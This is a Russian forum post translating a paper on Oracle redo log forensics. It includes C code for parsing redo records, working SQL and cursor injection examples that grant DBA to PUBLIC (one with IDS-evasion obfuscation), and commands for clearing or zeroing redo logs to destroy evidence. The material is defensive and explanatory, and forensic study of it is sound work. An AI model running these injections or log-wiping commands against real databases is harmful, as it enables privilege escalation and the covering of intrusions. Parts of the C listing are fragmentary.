ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Чужие Статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #2  
Старый 28.10.2007, 18:17
NeMiNeM
Постоянный
Регистрация: 22.08.2005
Сообщений: 540
Провел на форуме:
4372175

Репутация: 1221


По умолчанию


Пример на С, который показывает как сдампить запись INSERT:


Код:
int DumpInsert(unsigned char *e) 
{ 
unsigned int s = 0,cnt = 0, c = 0; 
unsigned short objectid = 0; 
unsigned int entry_size = 0; 
unsigned int timestamp = 0; 
unsigned int base = 68; 
unsigned int r = 0, r2 = 0, r3 = 0, r4=0, f=0, n=0; 
unsigned int gap = 0; 
unsigned char opcode = 0, subopcode = 0, op = 0; 
unsigned char cls = 0, afn = 0; 
unsigned char *p = NULL; 
unsigned char *entry = NULL; 
unsigned char *array = NULL; 
unsigned char *data = NULL; 

memmove(&timestamp,&e[-4],4); 
gettime(timestamp); 
entry = (unsigned char *) malloc(32); 
if(!entry) 
{ 
printf("malloc error...\n"); 
return 0; 
} 
memset(entry,0,32); 
// Get current line count 
r = count % 16; 
 



memmove(entry,e,r); 

// check if we cross a block boundary 
while(f < 32) 
{ 
r3 = r + f; 
if(r3 % 512 == 0) 
{ 
n = n + 16; 
} 
memmove(&entry[f+r],&e[f+r+n],16); 
f = f + 16; 
} 

gc ++; 
cls = entry[2]; 
afn = entry[4]; 
if(cls !=1) 
{ 
free(entry); 
entry = 0; 
return 0; 
} 
if(afn !=1 && afn !=3) 
{ 
free(entry); 
entry = 0; 
return 0; 
} 
memmove(&objectid,&entry[22],2); 
memmove(&cnt,&entry[24],2); 
printf("Object ID: %d [%X]\n",objectid,objectid); 
printf("cls: %d\n",cls); 
printf("afn: %d\n",afn); 
printf("count: %.2X\n",cnt); 
array = (unsigned char *) malloc(cnt+8+1); 
if(!array) 
{ 
printf("malloc error [array]\n"); 
free(entry); 
return 0; 
} 
memset(array,0,cnt+8+1); 
memmove(array,&e[24],cnt+8); 
printf("X: %.2X Y: %.2X\n",array[2], array[4]); 

// Get total size of data 
r3 = 6; 
r4 = 0; 
while(r3 < cnt) 
{ 
//printf("%.2X %.2X ",array[r3],array[r3+1]); 
memmove(&r2,&array[r3],2); 
r4 = r4 + r2 + 1; 
r3 = r3 + 2; 
} 
r4++; 
r4++; 
// Make room for data 
data = (unsigned char *) malloc(r4+1); 
if(!data) 
{ 
printf("malloc error [data]\n"); 
free(entry); 
free(array); 
return 0; 
} 
memset(data,0,r4+1); 
 




// Get the number of entries 
r2 = (cnt / 2) % 2; 
// If the number of entries is odd 
if(r2) 
{ 
printf("op: %.2X ver: %.2X\n",array[cnt+2],array[cnt+3]); 
op = array[cnt+2]; 
gap = cnt + 24 + 2; 
if(array[cnt+3] !=1) 
{ 
// shouldn't get here 
ReportError(entry); 
free(entry); 
free(array); 
free(data); 
return 0; 
} 
} 
// if the number of entries is even 
else  
{ 
printf("op: %.2X ver: %.2X ***\n",array[cnt+0],array[cnt+1]); 
op = array[cnt+0]; 
gap = 24 + cnt; 
if(array[cnt+1] !=1) 
{ 
// shouldn't get here 
ReportError(entry); 
free(entry); 
free(array); 
free(data); 
return 0; 
} 

} 
// op = 2... 64 
// op = 1... 72 
// op = 11... 120 

if(op == 1) 
{ 
memmove(data,&e[gap+72],r4); 
r3 = 0; 
while(r3 < r4) 
{ 
printf("%.2X ",data[r3]); 
r3 ++; 
if(r3 % 16 == 0) 
printf("\n"); 
} 
} 
else if(op == 2) 
{ 
memmove(data,&e[gap+64],r4); 
r3 = 0; 
while(r3 < r4) 
{ 
printf("%.2X ",data[r3]); 
r3 ++; 
if(r3 % 16 == 0) 
printf("\n"); 
} 
} 
else if(op == 0x11) 
{ 
memmove(data,&e[gap+120],r4); 
r3 = 0; 
while(r3 < r4) 
{ 
printf("%.2X ",data[r3]); 
r3 ++; 
 






} 
else 
{ 
 





} 
 



if(r3 % 16 == 0) 
printf("\n"); 
 


} 
 
// shouldn't get here 
PrintLine(entry); 
getch(); 
 






} 
 

printf("\n"); 
free(entry); 
free(array); 
free(data); 
return 0;

После INSERT-redo векторов изменений есть ещё два вектора под именем undo-хэдер и undo. undo имеет user ID, привязанный к INSERT - в нашем случаи - 0x36 или 54 (дец.) - т.е. SCOTT. Заметьте, что обыкновенно, SCOTT не может делать INSERT в таблицу SYS.SYSAUTH$. Чтоб показать, где найти user ID в записи undo, дадим SCOTT'у разрешение на INSERT в таблицу.


[Исследование DDL в логах Redo]

Поскольку мы знаем, что текст операторов DDL записывается в online redo-логи, заметим, что этот текст отсутствует после дампинга лога, используя “ALTER SYSTEM DUMP LOGFILE". Всё, что мы увидим в трассировочном файле это запись такого вида:

REDO RECORD - Thread:1 RBA: 0x000082.0000febf.002c LEN: 0x00f4 VLD: 0x01
SCN: 0x0000.003a061f SUBSCN: 1 03/13/2007 13:55:41
CHANGE #1 MEDIA RECOVERY MARKER SCN:0x0000.00000000 SEQ: 0 OP:24.1

Оп. код. 24.1 указывает на DDL. Чтоб узнать какая DDL была запущена, мы должны найти запись в актуальном бинарном redo-логе. С RBA мы видим, что номер блока 0x0000FEBF (65215). И зная, что размер блока на конкретной платформе - 0x200 (512) байтов - мы находим офсет в файле: 512 * 65215 = 33390080 или в хексах 0x01FD7E00.
Используя наш любимый хекс-редактор, открываем лог и ищем оффсет.




Видим хэдер блока (0x122) возле оффсета 0x01FD7E00. Мы также можем увидеть текст DDL - в нашем случаи “create user wiggywiggywiggy identified by VALUES ‘2FA1749D698AD874’”, но нам нужно понять бинарный формат. Эта диаграмма поазывает, какие значения относятся к каким битам информации.





Здесь видим, что пользователь SCOTT (105 байт в записи), пока его сессия относится к SYS , успешно исполнил команду DDL “CREATE USER”. Сказать, что сделал он это с помощью например SQL-инъекции или нет, тяжело без доказательств. Это мы рассмотрим позже. Теперь, нам важно, как можно прочесть бинарный формат операторов DDL.




Простой и быстрый способ дампинга операторов DDL с redo-логов это использовать утилиты “strings”, “grep” или “findstr”. Обратите внимание: если текст команды DDL переходит границы блока, он будет обрезанным. Таким образом, если вы ищете “GRANT” и “GRA” есть в конце одного блока, а “NT” в начале следующего блока - поиск не принесет результатов.

[Исполнение постпрограмм redo-логов после атаки]

Много атак на Oracle основаны на SQL-инъекциях, но не смотря на направления, действия взломщика это то, что покажется в логах. Посмотрим на некоторые примеры и как они выглядят в redo-логах. Для этого, припустим, что есть процедура под именем GET_OWNER, под управлением SYS, имеет полномочия и исполняется PUBLIC. Вдобавок припустим, что присутствует sql-инъекция.

Рассмотрим атаку используя sql:


SQL> CONNECT SCOTT/TIGER
Connected.
SQL> CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR
2 AUTHID CURRENT_USER IS
3 PRAGMA AUTONOMOUS_TRANSACTION;
4 BEGIN
5 EXECUTE IMMEDIATE 'INSERT INTO SYS.SYSAUTH$ (GRANTEE#, PRIVILEGE#, SEQUENCE#)
VALUES (1,4,(SELECT MAX(SEQUENCE#)+1 FROM SYS.SYSAUTH$))';
6 COMMIT;
7 RETURN 'OWNED!';
8 END;
9 /
Function created.
SQL> EXEC SYS.GET_OWNER('FOO''||SCOTT.GET_DBA||''BAR');
BEGIN SYS.GET_OWNER('FOO''||SCOTT.GET_DBA||''BAR'); END;
*
ERROR at line 1:
ORA-00001: unique constraint (SYS.I_SYSAUTH1) violated
ORA-06512: at "SCOTT.GET_DBA", line 5
ORA-06512: at "SYS.GET_OWNER", line 3
ORA-06512: at line 1

SQL>


Не смотря на сообщение об ошибке атака удалась, но что это за атака? Эта sql создает функцию под именем GET_DBA, которая делает PUBLIC - пользователем с ролью DBA, но использует скорее INSERT чем GRANT. Потом проводится инъекция в уязвимую процедуру GET_OWNER. Это та же SQL в записи redo, которую мы рассматривали раньше, исследую записи INSERT. Но есть одно ключевое отличие. В этом случаи user ID - это 0, другими словами, пользователь SYS.



Это особенно важно для исследователя. Только потому, что команда DML была произведена другим пользователем, в нашем случаи SCOTT, запись redo покажет user ID учетной записи хозяина уязвимой процедуры. Это имеет смысл, под видом того, что на самом деле SYS исполнял INSERT, и именно так работает процедура определения полномочий.
Исследователь должен приделять особенной внимание при создании последовательности событий.

В случаи DDL это не проблема. Рассмотрим это:


SQL> CONNECT SCOTT/TIGER
Connected.
SQL> SET SERVEROUTPUT ON
SQL> DECLARE
2 MY_CURSOR NUMBER;
3 RESULT NUMBER;
4 BEGIN
5 MY_CURSOR := DBMS_SQL.OPEN_CURSOR;
6 DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction;
7 begin execute immediate ''grant dba to public' ; commit; end;',0);
8 DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR);
9 END;
10 /
Cursor value is :2

PL/SQL procedure successfully completed.

SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(2))--');

PL/SQL procedure successfully completed.


Здесь SCOTT "закутал" GRANT DBA TO PUBLIC в блок анонимного PLSQL, который потом анализируется, используя DBMS_SQL в cursor injection attack [2]. После этого, производится инъекция курсора в уязвимую процедуру.




Заметив, что SCOTT записан как пользователь, исполнивший команду DDL. Таким образом, если взломщик исполняет DDL, мы можем это легко увидеть.

Давайте немножко изменим атаку - и представим, что взломщик использовал техники обхода IDS (Intrusion Detection System - система обнаружения [сетевых] атак), используя цепочки операторов double pipe и/или comment markers.


SQL> DECLARE
2 MY_CURSOR NUMBER;
3 RESULT NUMBER;
4 BEGIN
5 MY_CURSOR := DBMS_SQL.OPEN_CURSOR;
6 DBMS_SQL.PARSE(MY_CURSOR,'declare pragma autonomous_transaction;
7 begin execute immediate ''gra''||''nt/**/dba/**/to/**/public''; commit; end;',
0);
8 DBMS_OUTPUT.PUT_LINE('Cursor value is :' || MY_CURSOR);
9 END;
10 /
Cursor value is :8

PL/SQL procedure successfully completed.


SQL> EXEC SYS.GET_OWNER('AAAA''||CHR(DBMS_SQL.EXECUTE(8))--');
PL/SQL procedure successfully completed.

Здесь взломщик разбил слово GRANT с помощью double-pipe и установил comment markers между каждого слова. Как это выглядит в логах?



Пока мы не видим признака double pipe, но мы видим comment markers. Это ещё один ключевой момент о котором должен знать исследователь.


Атаки на redo-логи

Если взломщик получает права DBA, например, с помощью инъекции, он может изменить логи. Это можно сделать используя команду ALTER DATABASE CLEAR LOGFILE, которая полностью уничтожает все записи в логах, таким образом удаляя большинство доказательств. Но используя это команду, текст оператора будет добавлен в текущий файл лога. Попытка очистить текущий лог покажет ошибку:

SQL> ALTER DATABASE CLEAR LOGFILE GROUP 1;
ALTER DATABASE CLEAR LOGFILE GROUP 1
*
ERROR at line 1:
ORA-01624: log 1 needed for crash recovery of instance orcl (thread 1)
ORA-00312: online log 1 thread 1:
'C:\ORACLE\PRODUCT\10.2.0\ORADATA\ORCL\REDO01.LOG'

Даже если взломщик переключит лог-файл используя ALTER SYSTEM SWITCH LOGFILE, всё равно новый лог-файл будет иметь записи о попытке стереть файл.




Это диаграмма показывает, что пользователь SCOTT успешно очистил лог-файл 2.

Попытка удалить файл используя [bUTL_FILE[/b] не удастся через нарушение процедуры совместного использования.


SQL> CREATE DIRECTORY RLOG AS 'C:\ORACLE\PRODUCT\10.2.0\ORADATA\ORCL';
Directory created.
SQL> exec utl_file.fremove('RLOG','REDO01.LOG');
BEGIN utl_file.fremove('RLOG','REDO01.LOG'); END;
*
ERROR at line 1:
ORA-29291: file remove operation failed
ORA-06512: at "SYS.UTL_FILE", line 243
ORA-06512: at "SYS.UTL_FILE", line 1126
ORA-06512: at line 1

Хотя её можно "онулить" так же, как и вписать в неё.

SQL> declare
2 fd utl_file.file_type;
3 begin
4 fd := utl_file.fopen('RLOG', 'redo01.log', 'w');
5 utl_file.fclose(fd);
6 end;
7 /
PL/SQL procedure successfully completed.

Теперь проверим размер файла:

C:\oracle\product\10.2.0\oradata\orcl>dir REDO01.LOG
Volume in drive C has no label.
Volume Serial Number is 0B3A-E891

Directory of C:\oracle\product\10.2.0\oradata\orcl
16/03/2007 11:22 0 REDO01.LOG
1 File(s) 0 bytes
0 Dir(s) 14,516,092,928 bytes free

Очистку redo-логов любым с этих методов можно увидеть. Хитрый взломщик может вместо этого попытаться вписать или перезаписать правильные записи - неправильными, т.е. подделать логи. Понимая, как генерируется контрольная сумма для данного блока - все действия DDL и DML можно перезаписать, оставляя другую часть лога нетронутой. И это тяжело будет заметить.

Для систем, которые не работают в режиме архивации, взломщик, который не смог получить права DBA - всё ещё может замести следы - или заменить их на более "благоприятный" вид. Например, взломщик мог использовать множественные INSERT запросы в таблицу, где PUBLIC имеет разрешение на INSERT в, скажем, таблицу SYSTEM.OL$. Когда лог-файл заполняется и они переключаются, предыдущие записи будут перезаписаны.


Заключение

Как мы можем увидеть, логи redo могут быть богатым источником доказательств для исследователя при изучении БД сервера Oracle. Имея возможность интерпретировать бинарный формат, можно открыть признак взлома, которые такие инструменты как Logminer или файлы ASCII дампов не могут показать.


[1] Oracle Database Forensics using LogMiner, Paul Wright

[2] Cursor Injection, David Litchfield,

Оригинал в формате pdf - http://milw0rm.org/papers/155

Перевод: NeMiNeM
Специально для antichat.ru

ps: В статье/переводе возможны ошибки. Просьба не кричать, а спокойно указать и исправить Спасибо.
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть первая k00p3r Чужие Статьи 1 12.07.2005 08:51
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ